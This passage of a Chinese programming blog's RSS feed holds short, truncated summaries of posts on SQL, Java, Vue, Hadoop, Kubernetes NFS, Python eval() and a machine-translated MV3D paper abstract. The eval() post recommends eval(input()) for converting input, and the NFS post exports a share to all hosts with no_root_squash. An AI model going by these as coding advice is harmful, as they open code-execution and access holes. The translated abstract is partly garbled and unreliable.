      <description>摘要 本文针对自动驾驶场景中的高精度3D对象检测。我们提出了多视点三维网络(MV3D)，这是一个以激光雷达点云和RGB图像为输入，预测定向三维边界框的传感器融合框架。我们用一个紧凑的多视图表示来编码稀疏的三维点云。该网络 由两个子网络组成: 一个用于三维物体建议生成，另一个用 于多视图特征融合。提案网络从三维点云的鸟瞰图表示中有效地生成三维候选框。我们设计了一个深度融合方案，将来自多个视图的区域特征结合起来，使不同路径的中间层之间能够相互作用。在具有挑战性的KITTI基准上的实验表明， 我们的方法在 3d 定位和 3d 检测任务上的表现优于最先进的 25% 和 30% 。此外，在二维检测方面，我们的方法 比基于激光雷达的方法在数据上获得的高出 14.9% 。&#xA;1.介绍 3D 物体检测在自动驾驶汽车的视觉感知系统中起着重要的 作用。现代自动驾驶汽车通常配备多个传感器，如激光雷达和 摄像头。激光扫描仪具有准确深度信息的优势，而相机则保留 了更多详细的语义信息。激光雷达点云和 RGB 图像的融合应该 能够为自动驾驶汽车提供更高的性能和安全性。&#xA;本文的研究重点是利用激光雷达和图像数据进行三维物体检测。我们的目标是高精度的 3d 定位和识别道路场景中的物体。最近基于激光雷达的方法将3D窗口放置在3D体素网格中，对点云进行评分[25,6] ，或者在密集框预测方案中对前视图点图应用卷积网络[16]。基于图像的方法[4,3] 通常首先生成3D框建议，然后使用 Fast R-CNN [9]中对前视图点图应用卷积网络。基于激光雷达点云的方法通常可以获得更精确的3D位置，而基于图像的方法在2D框评估方面具有更高的精度 [10,7]。通过采用早期或晚期融合方案将激光雷达和图像结合用于二维检测。然而，对于更具挑战性的三维物体检测任务，但是，对于更具挑战性的3D对象检测任务，需要设计良好的模型来利用多种模态的优势。&#xA;本文提出了一种多视图三维物体检测网络(MV3D) ，该网络将多模式数据作为输入并预测3D空间中对象的完整3D范围。利用多模态信息的主要思想是执行基于区域的特征融合。 我们首先提出了一个多视图编码方案，以获得一个紧凑和有 效的表示稀疏的三维点云。如图 1 所示，多视图三维检测网 络由两部分组成: 一个三维建议网络和一个基于区域的融合网络。3D 提案网络利用点云的鸟瞰图表示来生成高度准确的 3d 候选框。3D 物体提案的好处是它可以投影到 3d 空间 的任何视图。多视图融合网络通过从多个视图向特征地图投 影三维方案来提取区域特征。我们设计了一种深度融合方法， 从不同角度实现中间层的相互作用。Com 结合下降路径训 练[14]和辅助损失，我们的方法显示出优于早期/晚期融合方 案的性能。鉴于多视图特征表示，网络执行面向三维盒回归， 预测三维空间中物体的准确三维位置，大小和方向。&#xA;在具有挑战性的 KITTI [8]物体检测基准上，我们评估了 我们的三维建议生成、三维定位、三维检测和二维检测的方 法。实验表明，我们的三维建议显着优于最近的三维建议方 法 3dop [4]和 Mono3D [3]。特别是在只有 300 个提案的情 况下，在 Intersection-over-Union (IoU)阈值为 0.</description>
    </item>
    <item>
      <title>大数据培训学习程序员有必要吗</title>
      <link>https://bchobby.github.io/posts/9aca43218b56bab005ab234a953362cb/</link>
      <pubDate>Tue, 26 Apr 2022 11:37:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9aca43218b56bab005ab234a953362cb/</guid>
      <description>有越来越多非科班出身的小伙伴在初次接触到大数据开发的时候，感觉工资很高，也想学习大数据开发技术，但是自己没有任何的编程基础，随着大数据开发技术的不断更新，学习大数据开发的门槛也在逐渐变高，自己看视频学吧，有些知识只能是一知半解，不能很好的理解透彻相关的大数据开发技术知识点，于是就产生了疑问：学习大数据开发真的需要去培训吗？&#xA;其实，我还是比较建议小伙伴选择一个比较靠谱的大数据培训机构来学习的。&#xA;现在随着互联网的不断发展，大数据开发技术也得到了更广泛的应用。不管是手机软件还是计算机软件，只要是你用电子产品的时候就会遇到大数据相关的事情，因此对大数据开发人才的需求也在不断增加。小伙伴想要学好大数据开发语言，选择一家靠谱的大数据培训机构来提升和巩固自己的开发技术水平不失为一种最佳决策。&#xA;1.决定参加培训前，小伙伴有一件事是必须认真考虑的，那就是不要盲目地参加培训班，要先确定自己是否适合学习大数据开发。毕竟学好一门编程语言并不是一蹴而就的，尤其是大数据开发技术的学习不仅需要一定的逻辑思维能力和分析能力，更需要掌握必要的编程技巧，才能在职业道路上越走越远。&#xA;2.看自己对大数据的学习是否充满兴趣，如果小伙伴对大数据开发的学习很感兴趣，那么小伙伴在学习大数据开发的时候也会有足够的动力。但如果小伙伴既对大数据开发技术学习没有任何兴趣，又不能静下心来学习，那就不必为应不应该参加大数据培训课程而烦恼了，因为这个问题没有任何意义。如果你坚持去，也是在浪费时间和金钱。&#xA;当确定自己适合学习大数据开发技术之后，就有另外一个问题需要考虑了，那就是如果参加了大数据培训课程的学习并且学完后能带给我什么？而不是白白浪费时间和金钱。&#xA;小伙伴要知道的就是参加培训的方式能够帮助我们更好的学习大数据开发技术。如果自己能找到一家可靠的培训机构并认真学习，把大数据学好、学明白，那么对自己的就业肯定是有一定的保障。因此，掌握好大数据语言技能就等于是多了一块进入大数据开发行业的敲门砖，也必然会给自己在大数据行业里带来更大的机遇和发展空间。所以只要能够掌握好大数据语言的学习,在大数据开发行业寻找一份工作易如反掌。</description>
    </item>
    <item>
      <title>数据库delete语句和TRUNCATE</title>
      <link>https://bchobby.github.io/posts/584683475c7c9bd3d467e32d83727186/</link>
      <pubDate>Tue, 26 Apr 2022 10:38:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/584683475c7c9bd3d467e32d83727186/</guid>
      <description>delete语句：&#xA;delete from MyTableName where id = 6 truncate语句：&#xA;truncate table MyTableName 注意：区别于DELETE命令&#xA;相同 : 都能删除数据 , 不删除表结构 , 但TRUNCATE速度更快&#xA;不同 :&#xA;使用TRUNCATE TABLE 重新设置AUTO_INCREMENT计数器&#xA;使用TRUNCATE TABLE不会对事务有影响&#xA;-- 删除表数据(不带where条件的delete)&#xA;DELETE FROM test;&#xA;-- 结论:如不指定Where则删除该表的所有列数据,自增当前值依然从原来基础上进行,会记录日志.&#xA;-- 删除表数据(truncate)&#xA;TRUNCATE TABLE test;&#xA;-- 结论:truncate删除数据,自增当前值会恢复到初始值重新开始;不会记录日志.&#xA;ps：&#xA;在SQL SERVER 2008里，delete from ... where id = ... 删除一个数据后，再insert into一个数据，id会在原来的基础上自增，但是插入的数据是在删除的数据原来的位置那里。&#xA;例：&#xA;id name 1 Mike 2 Xiaoming 3 Xiaohong 4 Sarah delete from ... where id = 2 之后，insert into .</description>
    </item>
    <item>
      <title>c语言随机点名器(源码)</title>
      <link>https://bchobby.github.io/posts/889152ce0f6948c60ebdfe9b91ec24ba/</link>
      <pubDate>Mon, 25 Apr 2022 20:14:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/889152ce0f6948c60ebdfe9b91ec24ba/</guid>
      <description>突发奇想写了个随机点名器…以供使用&#xA;随机点名器 main函数&#xA;#include &#34;myList.h&#34; #define FILENAME &#34;stu.txt&#34; void menu();//画面界面; void userOptions(Node* headNode);//用户选项 int main(void) { SetConsoleTitle(L&#34;随机抽查系统&#34;); Node* List = createrList(); readInfoFromFile(List, FILENAME); while (true) { menu(); userOptions(List); system(&#34;pause&#34;); system(&#34;cls&#34;); } system(&#34;pause&#34;); return 0; } void menu() { printf(&#34;\t\t\t学生点名系统\n&#34;); printf(&#34;\t\t1)开始随机抽查&#34; &#34;\t\t2)添加学生\n&#34; &#34;\t\t3)删除学生&#34; &#34;\t\t4)修改学生信息\n&#34; &#34;\t\tq)退出\n&#34;); printf(&#34;请输入你的选项:&#34;); } void userOptions(Node* List) { Student info; char choose = &#39;0&#39;; choose = enter(); switch (choose) { case &#39;1&#39;: printf(&#34;\t\t\t*开始随机抽查*\n&#34;); seekNode(List, rollCall(LengthNode(List))); break; case &#39;2&#39;: printf(&#34;</description>
    </item>
    <item>
      <title>在底层框架使用@SneakyThrows注解</title>
      <link>https://bchobby.github.io/posts/420e5a8f0251d0ae3cc9fe909b3002e8/</link>
      <pubDate>Mon, 25 Apr 2022 18:24:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/420e5a8f0251d0ae3cc9fe909b3002e8/</guid>
      <description>@SneakyThrows注解是由lombok为我们封装的，它可以为我们的代码生成一个try…catch块，并把异常向上抛出来，而你之前的ex.getStackTrace()是没有这种能力的，有时，我们从底层抛出的异常需要被上层统一收集，而又不想在底层new出一大堆业务相关的异常实例，这时使用@SneakyThrows可以简化我们的代码。&#xA;@SneakyThrows为方法添加注解 import lombok.SneakyThrows; public class SneakyThrowsExample implements Runnable { @SneakyThrows(UnsupportedEncodingException.class) public String utf8ToString(byte[] bytes) { return new String(bytes, &#34;UTF-8&#34;); } @SneakyThrows public void run() { throw new Throwable(); } } 而它生成的代码为我们加上了try…cache块，并以新的Lombok.sneakyThrow的方式向上抛出&#xA;import lombok.Lombok; public class SneakyThrowsExample implements Runnable { public String utf8ToString(byte[] bytes) { try { return new String(bytes, &#34;UTF-8&#34;); } catch (UnsupportedEncodingException e) { throw Lombok.sneakyThrow(e); } } public void run() { try { throw new Throwable(); } catch (Throwable t) { throw Lombok.</description>
    </item>
    <item>
      <title>5个可以加速开发的VueUse函数库</title>
      <link>https://bchobby.github.io/posts/736c8fc10ca810f309fa578a93d416e8/</link>
      <pubDate>Mon, 25 Apr 2022 18:08:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/736c8fc10ca810f309fa578a93d416e8/</guid>
      <description>如果你想查看每个实用程序的完整列表，我绝对建议你查看官方文档。但总结一下，VueUse 中有 9 种函数。&#xA;动画（Animation）—包含易于使用的过渡、超时和计时函数&#xA;浏览器（Browser）—可用于不同的屏幕控制、剪贴板、首选项等&#xA;组件（Component）— 为不同的组件方法提供简写&#xA;Formatters – 提供反应时间格式化功能&#xA;传感器（Sensors ）—用于监听不同的 DOM 事件、输入事件和网络事件&#xA;状态（State ）—管理用户状态（全局、本地存储、会话存储）&#xA;实用程序（Utility）—不同的实用程序函数，如 getter、条件、引用同步等&#xA;Watch —更高级的观察者类型，如可暂停观察者、去抖动观察者和条件观察者&#xA;杂项（Misc）— 事件、WebSockets 和 Web Worker 的不同类型的功能&#xA;这些类别中的大多数都包含几个不同的功能，因此 VueUse 可以灵活地用于你的用例，并且可以作为快速开始构建 Vue 应用程序的绝佳场所。&#xA;在本文中，我们将研究 5 个不同的 VueUse 函数，以便你了解在这个库中工作是多么容易。&#xA;但首先，让我们将它添加到我们的 Vue 项目中！&#xA;将 VueUse 安装到你的 Vue 项目中&#xA;VueUse 的最佳特性之一是它仅通过一个包即可与 Vue 2 和 Vue 3 兼容！&#xA;安装 VueUse 有两种选择：npm 或 CDN&#xA;1、useRefHistory 跟踪响应式数据的更改 useRefHistory跟踪对 ref 所做的每个更改并将其存储在数组中。这使我们可以轻松地为我们的应用程序提供撤消和重做功能。&#xA;让我们看一个示例，其中我们正在构建一个我们希望能够撤消的文本区域。&#xA;第一步是在不使用 VueUse 的情况下创建我们的基本组件——使用 ref、textarea 和用于撤消和重做的按钮</description>
    </item>
    <item>
      <title>【selenium学习总结3】----高阶：js操作、下拉框定位、弹框定位、行为链</title>
      <link>https://bchobby.github.io/posts/61d706c6d433c975f1c9303d0a848c3e/</link>
      <pubDate>Mon, 25 Apr 2022 15:32:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61d706c6d433c975f1c9303d0a848c3e/</guid>
      <description>一、js操作 1.js控制滚动条&#xA;滚动条回到顶部：&#xA;js = &#34;var q = document.getElementById(&#39;id&#39;).scrollTop=0&#34;&#xA;driver.execute_script(js)&#xA;滚动条拉到底部：&#xA;js = &#34;var q = document.documentElementById(&#39;id&#39;).scrollTop=10000&#34;&#xA;driver.execute_script(js)&#xA;0是最上面，10000是最底部&#xA;横向滚动条：&#xA;scrollTo(x, y)js = &#34;window.scrollTo(100,400);&#34;&#xA;driver.execute_script(js)&#xA;以上方法在火狐上正常，在谷歌上不行，需要修改：&#xA;js = &#34;var q=document.body.scrollTop=0&#34;&#xA;driver.execute_script(js)&#xA;元素聚焦&#xA;target = driver.find_element_by_xxxx()&#xA;driver.execute_script(&#34;arguments[0].scrollIntoView();&#34;, target)&#xA;scrollTo函数&#xA;--scrollHeight 获取对象的滚动高度。 --scrollLeft 设置或获取位于对象左边界和窗口中目前可见内容的最左端之间的距离。 --scrollTop 设置或获取位于对象最顶端和窗口中可见内容的最顶端之间的距离。&#xA;--scrollWidth 获取对象的滚动宽度。 scrollTo函数不存在兼容性问题，直接用这个函数就可以了&#xA;#滚动到底部&#xA;js = &#34;window.scrollTo(0,document.body.scrollHeight)&#34;&#xA;driver.execute_script(js)&#xA;#滚动到顶部&#xA;js = &#34;window.scrollTo(0,0)&#34; driver.execute_script(js)&#xA;2.js处理日历控件（修改readonly属性）&#xA;日历控件无法输入，只能选择&#xA;&amp;lt;input id=&#34;train_date&#34; class=&#34;inp-txt&#34; type=&#34;text&#34; value=&#34;&#34; name=&#34;leftTicketDTO.train_date&#34; autocomplete=&#34;off&#34; maxlength=&#34;10&#34; readonly=&#34;readonly&#34;&amp;gt;&#xA;3.js处理内嵌滚动条</description>
    </item>
    <item>
      <title>mysql连接出现(1040, ‘ny connections‘)</title>
      <link>https://bchobby.github.io/posts/62570e83bc128ee6fcba88ad2dd1c978/</link>
      <pubDate>Mon, 25 Apr 2022 14:23:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62570e83bc128ee6fcba88ad2dd1c978/</guid>
      <description>与此同时navicat连接mysql出现too many connections 错误，睡一觉起来就可以连接了，应该是mysql设置的最大连接数太小导致的，在/etc/mysql/my.cnf里面加上max_connections=1000，wait_timeout=5，未试验过，仅参考，后在本机作尝试。</description>
    </item>
    <item>
      <title>【Hadoop】MapReduce案例——好友推荐度案例</title>
      <link>https://bchobby.github.io/posts/f0653665e7b411e1a4bc49be53fb9c0a/</link>
      <pubDate>Mon, 25 Apr 2022 12:23:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0653665e7b411e1a4bc49be53fb9c0a/</guid>
      <description>文章目录 一、前期准备二、数据准备三、好友推荐度案例 一、前期准备 可参考 “词频统计” 案例中的前期准备阶段&#xA;二、数据准备 生成好友关系数据，上传至hdfs&#xA;package com.hdtrain; import com.google.inject.internal.util.$FinalizableReference; import java.util.HashMap; import java.util.Map; public class HelloFriend { public static void main(String[] args) { Map&amp;lt;Integer, String&amp;gt; friendMap = new HashMap&amp;lt;&amp;gt;(); for (int i=100;i&amp;lt;=200;i++){ friendMap.put(i, &#34;&#34;); for (int j=1;j&amp;lt;=4;j++){ int friend = (int) (Math.random() * 21 + 200 + 20 * j); if(!friendMap.containsKey(friend)) { friendMap.put(friend, &#34;&#34;); } friendMap.put(i, friendMap.get(i) + &#34; &#34; + friend); friendMap.put(friend, friendMap.get(friend) + &#34; &#34;</description>
    </item>
    <item>
      <title>IDEA使用阿里巴巴Alibaba编码规范插件</title>
      <link>https://bchobby.github.io/posts/6b845816507c8cef7e1885b75245ee2c/</link>
      <pubDate>Mon, 25 Apr 2022 12:10:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b845816507c8cef7e1885b75245ee2c/</guid>
      <description>IDEA使用阿里巴巴Alibaba编码规范插件&#xA;最新版《阿里巴巴Java开发手册》以及idea\eclipse插件等官方项目地址：https://github.com/alibaba/p3c&#xA;安装 打开IDEA，选择File-&amp;gt;Settings-&amp;gt;Plugins&#xA;在Marketplace中搜索Alibaba Java Coding Guidelines&#xA;点击install安装。&#xA;restart重启IDEA。&#xA;使用 1、Tools工具栏或者Tools下方快速工具栏中有编码规约扫描功能，可以实时开启扫描或关闭实时手动扫描。&#xA;2、扫描后下方会出现对应的Ali-Check，根据规约的程度进行修改，强制的一般会用红波浪线标注。&#xA;3、也可以对检查约束进行自定义选择，File-&amp;gt;Settings-&amp;gt;Editor-&amp;gt;inspections，可以根据自己要求进行选择约束。</description>
    </item>
    <item>
      <title>RepeatMasker（一）——安装及使用</title>
      <link>https://bchobby.github.io/posts/42ce0847bc30b93a9991521e23e2f30c/</link>
      <pubDate>Mon, 25 Apr 2022 11:14:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42ce0847bc30b93a9991521e23e2f30c/</guid>
      <description>RepeatMasker安装及使用 文章目录 RepeatMasker安装及使用一、安装1. RMBlast序列搜索引擎2.TRF搜索串联重复序列3. repeatmasker下载4. Repbase数据库5. 配置repeatmasker依赖关系 二、使用1.参数说明2.输入3. 使用RepeatMasker 三、结果1. masked文件2. out文件3. out.gff文件（和.out文件完全一样）4. out.html文件（和.out文件一样，只是在html，显示方式不同罢了）5. polyout文件——单独列出了微卫星表格6. tbl文件——统计文件 一、安装 1. RMBlast序列搜索引擎 # 下载RMBlast源码包并编辑 cd /share2/pub/yangjy/yangjy/softs/ wget ftp://ftp.ncbi.nlm.nih.gov/blast/executables/blast+/2.6.0/ncbi-blast-2.6.0+-src.tar.gz wget http://www.repeatmasker.org/isb-2.6.0+-changes-vers2.patch.gz tar zxvf ncbi-blast-2.6.0+-src.tar.gz gunzip isb-2.6.0+-changes-vers2.patch.gz cd ncbi-blast-2.6.0+-src patch -p1 &amp;lt; ../isb-2.6.0+-changes-vers2.patch cd c++ ./configure --with-mt --prefix=/share2/pub/yangjy/yangjy/softs/rmblast --without-debug make # 安装程序及库至系统目录，有报误，但我们需要的rmblastn已经可以正常使用了 sudo make install # Makefile:40: recipe for target &#39;install-toolkit&#39; failed # 测试程序是否安装成功 /share2/pub/yangjy/yangjy/softs/rmblastn -h 2.TRF搜索串联重复序列 cd /share2/pub/yangjy/yangjy/softs/ wget http://tandem.bu.edu/trf/downloads/trf409.legacylinux64 cp trf409.legacylinux64 ./trf # 测试有帮助信息即可用 trf 3.</description>
    </item>
    <item>
      <title>Python中eval()函数的使用</title>
      <link>https://bchobby.github.io/posts/50df36c27ae4165cb5bfa3f6d16a4c30/</link>
      <pubDate>Mon, 25 Apr 2022 10:47:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50df36c27ae4165cb5bfa3f6d16a4c30/</guid>
      <description>今天给大家分享一下Python中的eval()函数，如果感觉博主的文章还不错的话，希望大家点赞支持一下博主&#xA;文章目录 eval()函数语法实例实例1实例2实例3 eval()函数 eval() 函数用来执行一个字符串表达式，并返回表达式的值。&#xA;语法 eval(expression[, globals[, locals]])&#xA;expression – 表达式。globals – 变量作用域，全局命名空间，如果被提供，则必须是一个字典对象。locals–变量作用域，局部命名空间，如果被提供，可以是任何映射对象。 返回值：返回表达式计算结果。&#xA;实例 我们在从键盘输入数据时，Python接收的是字符串类型，这时我们可以使用eval()函数，将输入的数据进行还原&#xA;实例1 n = input() m = eval(input()) # type()函数可以用来检测数据类型 print(type(n)) print(type(m)) #利用eval()将字符串类型转为整形 print(type(eval(n))) 输出结果：&#xA;使用eval()函数，将字符串还原为数字类型，和int()函数的作用类似&#xA;实例2 # 输入[1,2,3,4] m = input() # 得到一个字符串 n = eval(input()) # 得到一个列表 print(type(m)) print(type(n)) print(type(n[0])) 输出结果&#xA;将输入的字符串转为对应的数据类型，列表、元组等数据类型都可以使用这种方式输入&#xA;实例3 # 表达式 s1 = &#39;3*7&#39; s2 = &#39;pow(2,3)&#39; n = eval(s1) m = eval(s2) print(n, m) 输出结果：</description>
    </item>
    <item>
      <title>【论文阅读 | cryoET】Gum-Net：快速准确的3D Subtomo图像对齐和平均的无监督几何匹配</title>
      <link>https://bchobby.github.io/posts/9c1c44f7228f8c603c07c5e05fed4f42/</link>
      <pubDate>Mon, 25 Apr 2022 09:15:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c1c44f7228f8c603c07c5e05fed4f42/</guid>
      <description>论文题目&amp;amp;作者 Gum-Net: Unsupervised Geometric Matching for Fast and Accurate 3D Subtomogram Image Alignment and Averaging&#xA;Xiangrui Zeng, Min Xu&#xA;CVPR 2020&#xA;创新点 本文是第一个用于强变换变化和高噪声水平图像的三维无监督几何匹配方法。&#xA;三个创新模块:&#xA;观察到标准深度特征提取过程中的最大池化和平均池化操作都寻求局部变换不变性，这不适合进行精确的集合匹配，因为在特征提取过程中需要很大程度上保留特征空间位置。因此，本文引入了一个特征提取模块，该模块包含了池化和滤波在内的光谱操作，以保持提取特征的空间位置。提出了一种新的孪生匹配模块，通过并行处理两个特征相关映射来改善空间相关信息的传播。在对齐模块中加入了一个改进的空间transformer网络，该网络具有可微的缺失楔插补策略。通过输入随机配对的子层析图，而不考虑它们的结构类信息，从而实现了完全无监督训练。因此和其他弱监督的集合匹配方法相比不需要实例级或类别级的匹配信息等监督信息。 相关工作 基于CNN的2D图像配准&#xA;二维图像配准通常包括两步：&#xA;（1）获取图像特征描述子；&#xA;（2）根据几何模型匹配特征描述子。&#xA;层次学习策略可以学习更好的特征描述。无监督的光流估计&#xA;光流估计使用密集或系数的向量场来描述二维图像序列中像素的小位移。&#xA;虽然是无监督的，但是需要输入的图像仅有很小的像素偏移。无监督可变形医学图像配准&#xA;也要求输入的图像对是相似的，移动很小。非基于学习的subtomogram配准&#xA;需要很大的计算量，为了减少穷举搜索6D参数空间的计算成本，也有一些算法进行了改进。比如快速旋转匹配算法，考虑更多的振幅和相位信息，还有的是基于核范数同时配准多个子层析图。&#xA;这里对比了两种方法，一个是2012的，一个是2013的。（都是JSB上发的文章，2012是本文作者的文章。） 方法 Feature extraction module&#xA;Siamese matching module&#xA;为了更好地利用和处理特征相关信息，设计了一个孪生相关层。计算Cab和Cba两个相关图。它们各自保留一个输入特征图的空间坐标。两个相关映射的使用传播了更多的特征空间相关信息，用于变换参数的估计。&#xA;两张相关图被输入一个有卷积层组成的伪孪生网络，然后分别进行卷积，然后将其拼接成一个全连接层，在另一个全连接层后，孪生匹配模块输出估计的刚体变换参数（6D）。Unsupervised geometric alignment module&#xA;因为准备有监督的数据非常耗时，所以更适合无监督。&#xA;于是本文提出了一个无监督的几何配准模块，利用空间transformer网络和光谱数据输入，专门为子断层图数据设计。&#xA;表示由三维刚体变换参数生成的变换矩阵为：（ x i t , y i t , z i t x^t_i, y^t_i, z^t_i xit​,yit​,zit​)是目标坐标，（ x i s , y i s , z i s x^s_i, y^s_i, z^s_i xis​,yis​,zis​)是源坐标。 θ 11 , .</description>
    </item>
    <item>
      <title>取模与求余的区别</title>
      <link>https://bchobby.github.io/posts/cba8620958ad13e6d8678272d6b40443/</link>
      <pubDate>Sun, 24 Apr 2022 19:18:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cba8620958ad13e6d8678272d6b40443/</guid>
      <description>最近发现了个知识盲点，之前一直以为取模和求余是一样的，记录如下，以后复习&#xA;取模运算在计算整数商时，采用的是向负无穷大的方向取整。&#xA;取余运算在计算整数商时，采用的是向0方向取整。&#xA;求模 和 求余 的区别_WesenTCYS的博客-CSDN博客_求余和求模的区别</description>
    </item>
    <item>
      <title>【JDBC-6】数据库连接池</title>
      <link>https://bchobby.github.io/posts/012757eec3f8a18b7431371e94d298e1/</link>
      <pubDate>Sun, 24 Apr 2022 18:50:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/012757eec3f8a18b7431371e94d298e1/</guid>
      <description>类似于线程池，准备一些预先的资源，到使用的时候直接拿出。&#xA;之前我们在对数据库进行连接操作时，每次连接都需要连接 connection = JDBCUtils.getConnection(); 操作完毕后还需要释放&#xA;JDBCUtils.release(connection,preparedStatement,resultSet); 这些操作是非常消耗系统资源的，因此就推出了数据库连接池的概念。类似于线程池，在事先定义好连接次数后，不用每次操作都要进行数据库的连接和释放&#xA;热门的开源数据源实现（拿来即用）&#xA;DBCPC3P0Druid:阿里巴巴 用了这些数据库连接池后，在项目开发后就不需要编写连接数据库的代码&#xA;eg：&#xA;最小连接数：10最大连接数：15 超过了最大连接数就需要等待超时等待：100ms 编写连接池，要实现DateSource接口&#xA;数据库连接池使用步骤： 1.下载并导入dbcp、pool的jar包到lib文件夹下并设置为Library（IDEA版本高的话会自动解压）&#xA;2.写配置文件（固定写法）&#xA;driverClassName=com.mysql.jdbc.Driver url=jdbc:mysql://localhost:3306/studentcourse?useUnicode=true&amp;amp; characterEncoding=utf8&amp;amp;useSSL=true&amp;amp;serverTimeZone=UTC username=root password=family52 #!-- 初始化连接 -- initialSize=10 #最大连接数量 maxActive=50 #!-- 最大空闲连接 -- maxIdle=20 #!-- 最小空闲连接 -- minIdle=5 #!-- 超时等待时间以毫秒为单位 6000毫秒/1000等于60秒 -- maxWait=60000 #JDBC驱动建立连接时附带的连接属性属性的格式必须为这样：【属性名=property;】 #注意：user 与 password 两个属性会被明确地传递，因此这里不需要包含他们。 connectionProperties=useUnicode=true;characterEncoding=UTF8 #指定由连接池所创建的连接的自动提交（auto-commit）状态。 defaultAutoCommit=true #driver default 指定由连接池所创建的连接的只读（read-only）状态。 #如果没有设置该值，则“setReadOnly”方法将不被调用。（某些驱动并不支持只读模式，如：Informix） defaultReadOnly= #driver default 指定由连接池所创建的连接的事务级别（TransactionIsolation）。 #可用值为下列之一：（详情可见javadoc。）NONE,READ_UNCOMMITTED, READ_COMMITTED, REPEATABLE_READ, SERIALIZABLE defaultTransactionIsolation=READ_UNCOMMITTED 参数解释：&#xA;driverClassName=com.mysql.cj.jdbc.Driver // 不多解释，这是基本的驱动加载 url=jdbc:mysql://localhost:3306/studentcourse?useUnicode=true&amp;amp;characterEncoding=utf8&amp;amp;useSSL=true&amp;amp;serverTimeZone=UTC // 驱动注册 username=root //要连接的数据库用户名 password=family520 // 要连接的数据库密码 defaultAutoCommit=true：// 设置是否自动提交,默认为true defaultReadOnly=false： // 是否为只读 默认为false defaultTransactionIsolation=3：// 设置数据库的事务隔离级别默认为1，READ_UNCOMMITTED，推荐设置为3 initialSize=10： // 初始化数据池拥有的连接数量 maxActive=20： /池中最多可容纳的活着的连接数量，当达到这个数量不在创建连接 maxIdle=20： // 最大空闲等待，也就是连接等待队列超过这个值会自动回收未使用的连接，直到达到20 minIdle=5： // 最小空闲等待 ,数据池中最少保持的连接 maxWait=10000 // 最大等待时间，超过这个时间等待队列中的连接就会失效 testOnBorrow=true //从池中取出连接时完成校验 ，验证不通过销毁这个connection，默认为true， testOnReturn=false //放入池中时完成校验，默认我fasle validationQuery=select 1 // 校验语句，必须是查询语句，至少查询一列，设置了它onBorrow才会生效 validationQueryTimeout=1 // 校验查询时长，如果超过，认为校验失败 testWhileIdle=false // 清除一个连接时是否需要校验 timeBetweenEvictionRunsMillis=1 // DBCP默认有个回收器Eviction，这个为设置他的回收时间周期 numTestsPerEvictionRun=3 // Eviction在运行时一次处理几个连接 poolPreparedStatements=true //是否缓存PreparedStatements maxOpenPreparedStatements=1 // 缓存PreparedStatements的最大个数 3.</description>
    </item>
    <item>
      <title>23种设计模式之单例模式</title>
      <link>https://bchobby.github.io/posts/682f5eef0d1c15a861597c8e5239c302/</link>
      <pubDate>Sun, 24 Apr 2022 12:49:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/682f5eef0d1c15a861597c8e5239c302/</guid>
      <description>单例模式: 属于一种常见的创建者模式。通过单例模式创造的类只存在一个实例对象&#xA;简单的来说，某个程序的配置信息存放在一个文件中，这些配置信息由单例对象读取，然后通过单例对象服务其他对象&#xA;它的特点总共有三个:&#xA;构造方法私有化提供一个私有的静态变量有一个返回实例对象的公共方法 单例模式又有两个方法进行创建:饿汉式和懒汉式&#xA;这里用饿汉式的静态变量方法举例&#xA;public class SingletonTest { public static void main(String[] args) { Singleton instance1 = Singleton.getInstance(); Singleton instance2 = Singleton.getInstance(); System.out.println(instance1 == instance2); } } // 饿汉式——静态变量 class Singleton { // 1、提供一个静态的私有的变量 private static Singleton instance = new Singleton(); // 2、构造方法私有化 private Singleton(){} // 3、提供一个返回单例对象本身的公共方法 public static Singleton getInstance() { return instance; } } true 输出为true，表示该两个变量都是同一个地址。&#xA;饿汉式的另一种方法:静态代码块&#xA;public class SingletonTest2 { public static void main(String[] args) { Singleton1 instance1 = Singleton1.</description>
    </item>
    <item>
      <title>k8s数据持久化之NFS</title>
      <link>https://bchobby.github.io/posts/d347686353ac3ff5ebf87cc01b19ff1e/</link>
      <pubDate>Sun, 24 Apr 2022 09:44:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d347686353ac3ff5ebf87cc01b19ff1e/</guid>
      <description>目录&#xA;NFS&#xA;部署nfs&#xA;测试&#xA;k8s中使用nfs示例&#xA;测试数据共享&#xA;测试数据持久化&#xA;NFS NFS是主流的k8s数据持久化解决方案与pod共享存储解决方案 NFS数据卷：提供对NFS挂载支持，可以自动将NFS共享 路径挂载到Pod中 NFS：是一个主流的文件共享服务器 部署nfs 1、实施nfs（所有节点） yum install nfs-utils -y 2、选择一台nfs-utils服务器作为数据节点，并进行配置 修改nfs服务器配置 vi /etc/exports 这*代表所有ip可以访问，rw代表对此目录有读写权限，no_root_squash代表他是root身份运行 /ifs/kubernetes *(rw,no_root_squash) 新建此数据目录 mkdir /ifs/kubernetes -p 启动服务并设置开机自启 systemctl start nfs systemctl enable nfs 测试 进去其他k8s节点，远程挂载nfs节点数据，命令（ip为nfs数据节点ip）,在挂载节点新建一个文件然后取消挂载 mount -t nfs 192.168.209.112:/ifs/kubernetes /mnt cd /mnt touch aaa umount /mnt 在nfs服务器可以看到刚刚新建的文件夹 k8s中使用nfs示例 创建一个deployment.yaml vi deployment-nfs.yaml apiVersion: apps/v1 kind: Deployment metadata: name: web-nfs spec: selector: matchLabels: app: nginx replicas: 3 template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx volumeMounts: - name: wwwroot mountPath: /usr/share/nginx/html volumes: - name: wwwroot nfs: server: 192.</description>
    </item>
    <item>
      <title>观察者模式及其应用场景</title>
      <link>https://bchobby.github.io/posts/84f41e6b6d774b66cc15d64d445e21e1/</link>
      <pubDate>Sun, 24 Apr 2022 08:18:28 +0800</pubDate>
